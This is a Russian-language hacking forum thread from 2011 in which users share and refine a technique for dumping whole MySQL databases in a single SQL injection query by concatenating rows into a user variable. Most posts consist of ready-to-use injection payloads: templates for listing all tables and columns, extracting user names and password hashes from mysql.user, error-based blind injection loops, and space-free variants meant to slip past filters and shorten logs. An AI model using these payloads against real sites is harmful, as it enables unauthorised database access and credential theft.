Старый 27.01.2011, 02:47   #1
profexer
 
Регистрация: 06.01.2011
Сообщений: 117
Репутация: 63
По умолчанию Ускоритель MySQL-inj

Если данный способ уже где-то описан - прошу кинуть ссылочки.
Метод был существенно доработан - читай мой пост ниже!

Хочу рассказать вам о новой (может я что-то пропустил?) технике вывода данных при MySQL injection.

Дело в том, что очень неудобно когда при наличии уязвимости в результате мы можем получить всего одну строку за запрос.
Например чтоб получить структуру БД в 5 ветке MySQL, нам придется совершить столько запросов, сколько таблиц в этой самой БД. Ну а о получении имен колонок этих таблиц я уже помалкиваю.

Выходом может быть использование конструкции group_concat, но она имеет ограничение по возвращаемой длине заданное в group_concat_max_len (по умолчанию - 1024) и при огромном количестве таблиц, строка просто обрежется по этой длине.
Обойти это ограничение можно с помощью добавления условий, например table_name>{имя последней полученной таблицы}
Код:
select group_concat(table_name) from information_schema.tables
Цитата:
table
table_1
....
table_200
Код:
select group_concat(table_name) from information_schema.tables where table_name>'table_200'
Цитата:
table_201
...
table_400
Код:
select group_concat(table_name) from information_schema.tables where table_name>'table_400'
...

Еще можно использовать benchmark, типо того:
Код:
select concat(@a:=0, @b:=1, benchmark(100, if( (select count(password) from users where id=@a), @b:=concat( (select password from users where id=@a), 0x3a, @b, @a:=@a+1), @a:=@a+1) ) ), cast(@b as char) from users
Но при таком запросе, необходимо чтоб был уникальный числовой ключ.

Или можно ограничивать данные по логическим критериям, чтоб отбирать не все сразу. Но опять же - все делается не одним запросом.

Не буду Вас больше томить тем что Вы и так знаете и покажу о чем я говорю.

Я предлагаю без group_concat и benchmark вывести имена всех таблицы одним запросом.

Запрос строится на пользовательских переменных и условии NOT IN ( но ручками мы туда вписывать ничего не будем ). Что-то типо цикла - только без явного цикла =)

Скажем для получения всех таблиц БД, запрос будет выглядеть таким образом:
Код:
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in( @pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
Цитата:
'','CHARACTER_SETS','COLLATIONS',...
@pro - наша пользовательская переменная
fexer - требуемый алиас для таблицы

У нас получилась некая рекурсия или цикл (не уверен как именно оно обрабатывается), который склеил все строки в одну переменную, которую мы потом и получили.

При склейке данных ( concat ) запрос примет следующий вид:
Код:
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where concat(table_schema,0x2e,table_name) not in( @pro:=concat(@pro,0x2c27,table_schema,0x2e,table_name,0x27) ) limit 0,1 ) )fexer
Цитата:
'','information_schema.CHARACTER_SETS','informatio n_schema.COLLATIONS'...
Таким образом, мы можем получить все данные без предварительного запроса их общего количества, уникального численного ключа и ограничения в 1024 символа.

P.S.
Я не смог найти ограничение по размеру для пользовательских переменных, так что пришел к выводу, что действующие ограничение - это общее ограничение на выборку данных.
И еще, первая запись дублируется в конце - это просто нужно знать.

Быстрого вам хека!

При распространении прошу указывать автора и ссылку на ресурс на котором Вы нашли заметку.

(c) profexer 2011
profexer вне форума   Ответить с цитированием
Старый 27.01.2011, 12:53   #2
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Очень понравилась идея накапливать строку в переменную, настоящая находка там, где не справляется group_concat.

Запись без пробелов
PHP код:
select(@n)from(select(@n:=0x20),(select(null)from(mysql.user)where(@n:=concat(@n,0x7c,user,0x3a,password))))
Интересует, чем ограничен размер выводимых данных?
Во всяком случае запрос ниже выдал полный результат (примернр 230KB).
PHP код:
select @n from (select @n:='',(select null from information_schema.columns where @n:=concat(@n,0x7c,table_schema,0x3a,table_name,0x3a,column_name)))
Попробовал наращивать размер вывода, получалось до 930KB, следующая итерация возвратила null,
похоже вывод упирается в размер 1MB, возможно это ограничение на максимальный размер пакетов, которые передаются между SQL клиентом и сервером.

============
upd т.е. шаблон
PHP код:
select from(select min(0)from table,(select @:=0)k where @:=concat(@,column,0x2C))n
или
select 
from(select @:=0,(select 0 from table where @:=concat(@,0x2c,column)))

Последний раз редактировалось nikp; 07.09.2011 в 13:40..
nikp вне форума   Ответить с цитированием
Старый 27.01.2011, 13:50   #3
fraIzer
 
Аватар для fraIzer
 
Регистрация: 06.07.2010
Сообщений: 5
Репутация: 1
По умолчанию

Хмм, может я чего то не понимаю, но метод уже далеко не нов читал более развернутую статью примерно год назад в журнале }{
__________________
Party for everybody Dance
fraIzer вне форума   Ответить с цитированием
Старый 27.01.2011, 14:15   #4
profexer
 
Регистрация: 06.01.2011
Сообщений: 117
Репутация: 63
По умолчанию

Кинь ссылку, плиз
profexer вне форума   Ответить с цитированием
Старый 05.03.2011, 23:14   #5
profexer
 
Регистрация: 06.01.2011
Сообщений: 117
Репутация: 63
По умолчанию

Немного поработав с запросами такого типа, было замечено что приходится доставать бубен при необходимости получить, например, имена всех колонок.
Так запрос, по описанному выше шаблону, для получения имен всех колонок
Код:
select @p from (select @p:=0x2727, (select null from information_schema.columns where column_name not in(@p:=concat(@p,0x2c27,column_name,0x27)) limit 0,1))r
вернет не совсем ожидаемый результат
Цитата:
'','CHARACTER_SET_NAME'
Поэтому я достал лопату и начал копать от забора до обеда чтоб найти универсальный запрос который будет возвращать то что нам нужно.
В результате раскопок был получен шаблон запроса который:
  • возвращает ожидаемые результаты;
  • возвращает данные без повторений (это когда первая запись дублировалась в конце), уменьшая размер возвращаемых данных;
  • уменьшает размер возвращаемых данных и запроса за счет удаления одинарных кавычек, удаления повторения имен колонок, удаления лимита;
  • не использует конструкцию NOT IN, тем самым уменьшает длину запроса и позволяет использовать запрос без пробелов;
Уменьшение размера возвращаемых данных является очень полезным при слепой инъекции.
Уменьшение длины запроса полезно при достижении максимальной длины урла и тем, что меньше увеличивает размер логов.
Универсальность позволяет автоматизировать процесс.

Итак новый шаблон имеет следующий вид:
Код:
SELECT @p FROM (SELECT @p:=null, (SELECT COUNT(*) FROM {TABLE_NAME} WHERE (@p:=CONCAT_WS(0x2C, @p, {COLUMN_NAME}))>0))r

Теперь при получении имен всех колонок по новому шаблону
Код:
SELECT @p FROM (SELECT @p:=null, (SELECT COUNT(*) FROM information_schema.columns WHERE (@p:=CONCAT_WS(0x2C, @p, column_name))>0))r
результат будет вполне адекватный
Цитата:
CHARACTER_SET_NAME,DEFAULT_COLLATE_NAME,DESCRIPTIO N...

Запрос с конкатенацией колонок не чем не отличается от запроса без нее
Код:
SELECT @p FROM (SELECT @p:=null, (SELECT COUNT(*) FROM information_schema.columns WHERE (@p:=CONCAT_WS(0x2C, @p, CONCAT(table_name,0x2E,column_name)))>0))r
результат тоже будет полностью адекватным.


Для использования в слепых инъекциях, необходимо будет предварительно узнать длину возвращаемых данных
Код:
... AND ( SELECT MIN(0) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID((SELECT LENGTH(@p) FROM (SELECT @p:=null, (SELECT COUNT(*) FROM {TABLE_NAME} WHERE (@p:=CONCAT_WS(0x2C, @p, {COLUMN_NAME}))>0))r), RAND(0)|0, 64))
а потом в цикле их получить
Код:
... AND ( SELECT MIN(0) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID((SELECT LENGTH(@p) FROM (SELECT @p:=null, (SELECT COUNT(*) FROM {TABLE_NAME} WHERE (@p:=CONCAT_WS(0x2C, @p, {COLUMN_NAME}))>0))r), RAND(0)|0%2B{i}, 64))
где {i} - будет принимать значения 0,64,128 ... LENGTH(@p)-64


Шаблон запроса без использования пробелов
Код:
SELECT(@p)FROM(SELECT(@p:=null),(SELECT(COUNT(*))FROM({TABLE_NAME})WHERE(@p:=CONCAT_WS(0x2C,@p,{COLUMN_NAME}))>0))r

Последний раз редактировалось profexer; 16.03.2011 в 01:20.. Причина: null -> count(*)
profexer вне форума   Ответить с цитированием
Старый 06.03.2011, 11:01   #6
[cash]
 
Аватар для [cash]
 
Регистрация: 07.07.2010
Сообщений: 36
Репутация: 3
По умолчанию

С переменной в not in прикольно молодец, а не проше ли использывать простой подзапрос.

Цитата:
select group_concat(table_name) from information_schema.tables where table_name not in (select table_name from information_schema.tables limit 100)
select group_concat(table_name) from information_schema.tables where table_name not in (select table_name from information_schema.tables limit 200)
__________________
.old school.
[cash] вне форума   Ответить с цитированием
Старый 12.03.2011, 13:29   #7
id13
 
Регистрация: 04.12.2010
Сообщений: 22
Репутация: 1
По умолчанию

А как с помощью запроса вида
SELECT @p FROM (SELECT @p:=null, (SELECT null FROM information_schema.columns WHERE (@p:=CONCAT_WS(0x2C, @p, CONCAT(table_name,0x2E,column_name)))>0))r

выводить скажем первые 10 значений, следущие 10 и тд, без ошибок вида Duplicate entry

?
id13 вне форума   Ответить с цитированием
Старый 15.03.2011, 01:19   #8
profexer
 
Регистрация: 06.01.2011
Сообщений: 117
Репутация: 63
По умолчанию

[cash]
У тебя лимит используется в связи с тем, что ограничена длина group_concat, а у меня все получаем за один запрос (первый пост).

id13
Идея метода в том, чтоб склеить все записи в таблицы и вывести их как одну, без надобности использования лимита,
но если ты хочешь склеить только N записей начиная с S позиции, то юзай шаблон
Код:
SELECT @p FROM (SELECT @p:=null, (SELECT COUNT(*) FROM (select * from {TABLE_NAME} limit {S},{N})r WHERE (@p:=CONCAT_WS(0x2C, @p, {COLUMN_NAME}))>0))o
Для того чтоб склеить в одну строку только первые десять имен колонок, необходимо использовать запрос
Код:
SELECT @p FROM (SELECT @p:=null, (SELECT COUNT(*) FROM (select * from information_schema.columns
limit 0,10)r WHERE (@p:=CONCAT_WS(0x2C, @p, CONCAT(table_name,0x2E,column_name)))>0))o

Последний раз редактировалось profexer; 16.03.2011 в 01:23.. Причина: null -> count(*)
profexer вне форума   Ответить с цитированием
Старый 15.03.2011, 16:31   #9
id13
 
Регистрация: 04.12.2010
Сообщений: 22
Репутация: 1
По умолчанию

profexer, спс.
id13 вне форума   Ответить с цитированием
Старый 16.03.2011, 01:24   #10
profexer
 
Регистрация: 06.01.2011
Сообщений: 117
Репутация: 63
По умолчанию

Иногда запрос может возвращать ошибку returns more than 1 row, поэтому вместо конструкции
Код:
SELECT null FROM {TABLE_NAME}
следует использовать конструкцию:
Код:
SELECT COUNT(*) FROM {TABLE_NAME}
Я исправил новые шаблоны в постах выше.
profexer вне форума   Ответить с цитированием
Ответ

Метки
mysql inj, sql injection

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot